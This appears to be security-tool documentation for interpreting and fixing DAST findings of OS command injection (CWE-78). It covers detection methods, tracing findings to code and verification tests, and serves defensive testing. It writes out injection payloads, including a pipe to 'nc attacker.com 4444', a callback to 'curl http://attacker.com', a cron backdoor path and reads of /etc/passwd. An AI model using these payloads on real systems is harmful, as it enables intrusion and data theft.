CWE-78: OS Command Injection
Overview
This guidance helps you interpret and remediate findings from DAST (Dynamic Application Security Testing) tools. The scanner detected that the application invoked operating system commands using user-controlled input, enabling arbitrary command execution through either shell metacharacter injection (CWE-77) or malicious argument injection (CWE-88). DAST tools identify this by:
Detection Methods:
- Shell Metacharacter Injection: Testing command separators (
;,|,&&,||), command substitution (`cmd`,$(cmd)) - Argument Injection: Injecting dangerous flags to legitimate commands (
--output=/etc/cron.d/backdoor,-exec whoami) - Time-Based Detection: Injecting delay commands (
sleep 10,ping -n 10 127.0.0.1,timeout /t 10) and measuring response time - Out-of-Band Detection: Injecting DNS/HTTP callbacks (
curl http://attacker.com,nslookup scanner.owasp.org) - Error-Based Detection: Submitting invalid commands/syntax and analyzing error messages for shell indicators
- Output-Based Detection: Injecting commands with predictable output (
whoami,id,ipconfig) and searching responses
HTTP Evidence:
- Response bodies containing OS command output (username, directory listings, system information)
- Response timing delays matching injected sleep/ping duration (10-second delay for
sleep 10) - Error messages revealing command execution context ("sh: syntax error", "'command' is not recognized")
- DNS/HTTP requests to scanner infrastructure (Burp Collaborator, ZAP Callback Service)
- Stack traces showing process invocation APIs (
ProcessBuilder,Runtime.exec(),child_process,subprocess) - HTTP status code differences for valid vs. invalid command injection attempts
Scanner Behavior: OWASP ZAP and PortSwigger Burp Scanner test OS command injection using multi-stage detection:
- Time-based blind injection for initial detection
- Out-of-band interaction for confirmation
- Direct output extraction when possible.
They test both Unix/Linux and Windows command syntax across all input parameters.
CWE-78 is often reported by scanners as the umbrella finding; root cause analysis typically maps to CWE-77 (shell metacharacters) or CWE-88 (argument injection).
Analyzing the Dynamic Scan Result
What the DAST Scanner Found
When reviewing your security scan results, you'll see:
HTTP Request Details
- URL and endpoint that triggered the finding
- HTTP method (GET, POST, etc.)
- Query parameters or form data with test payloads
- Request headers and body content
HTTP Response Evidence
- Response showing the vulnerability manifestation
- Evidence of improper handling or injection
- Runtime behavior indicators
Attack Vector
- Which parameter or input is vulnerable
- Type of exploitation possible
- Context where the vulnerability appears
Mapping DAST Findings to Source Code
Find the Vulnerable Endpoint
Use the HTTP request URL to locate the code:
# Search for the URL path in your codebase
grep -r "/convert" src/
grep -r "/process" src/
grep -r "/execute" src/
grep -r "route.*convert" src/
Locate the Route Handler
Common patterns to search for:
- Python Flask/Django:
@app.route('/convert'),path('process/', ...) - Node.js Express:
app.get('/convert', ...),router.post('/process', ...) - Java Spring:
@PostMapping("/convert"),@RequestMapping("/execute") - ASP.NET:
[Route("convert")],[HttpPost("process")] - PHP:
$_GET['filename'],$_POST['command']
Find the Parameter Handling
Search for the vulnerable parameter name (common in command injection):
# Find where the parameter is accessed
grep -r "request.args.get('filename')" src/ # Python Flask
grep -r "req.body.file" src/ # Node.js
grep -r "@RequestParam.*file" src/ # Java Spring
grep -r "Request.Form['filename']" src/ # ASP.NET
grep -r "$_POST['file']" src/ # PHP
Trace to Vulnerable Operation
Look for where the parameter is used in:
- System command execution:
exec(),system(),os.system(),Runtime.exec(),child_process.exec() - Shell invocation:
sh -c,cmd /c,shell=True,/bin/bash -c - File processing commands:
convert,ffmpeg,imagemagick,pandoc - Network utilities:
ping,curl,wget,nslookup - Compression/archiving:
zip,tar,gzip,7z
Remediation
Core principle: Never execute operating system commands constructed from untrusted input; eliminate shell execution entirely and use safe, parameterized system APIs when OS interaction is unavoidable.
→ For comprehensive remediation guidance, see Static CWE-78 Guidance
Language-Specific Guidance
The static guidance provides detailed remediation steps for many languages. If you need language-specific examples:
Verification and Follow-Up Testing
After applying the fix:
Reproduce the Vulnerability
# Use curl to replay the exact request with command injection
curl "http://localhost:3000/convert?filename=test.pdf; ls -la"
curl -X POST "http://localhost:3000/process" -d "file=report.doc|whoami"
# Or use browser DevTools Network tab to copy as cURL
Verify the Fix
- Confirm command injection attempts fail or are safely handled
- Verify proper use of parameterized execution (no shell invocation)
- Verify no shell is invoked and untrusted input is passed only as data to parameterized process APIs (validation is defense-in-depth).
- Ensure error messages don't leak system information
Test Edge Cases
# Command chaining attempts
/convert?filename=test.pdf; cat /etc/passwd
/convert?filename=test.pdf && whoami
/convert?filename=test.pdf | nc attacker.com 4444
# Command substitution
/convert?filename=$(whoami).pdf
/convert?filename=`id`.pdf
# Newline injection
/convert?filename=test.pdf%0Als%20-la
# Background execution
/convert?filename=test.pdf & sleep 10 &
Re-run DAST Scanner
Run your dynamic scanner again on the fixed endpoint to confirm remediation.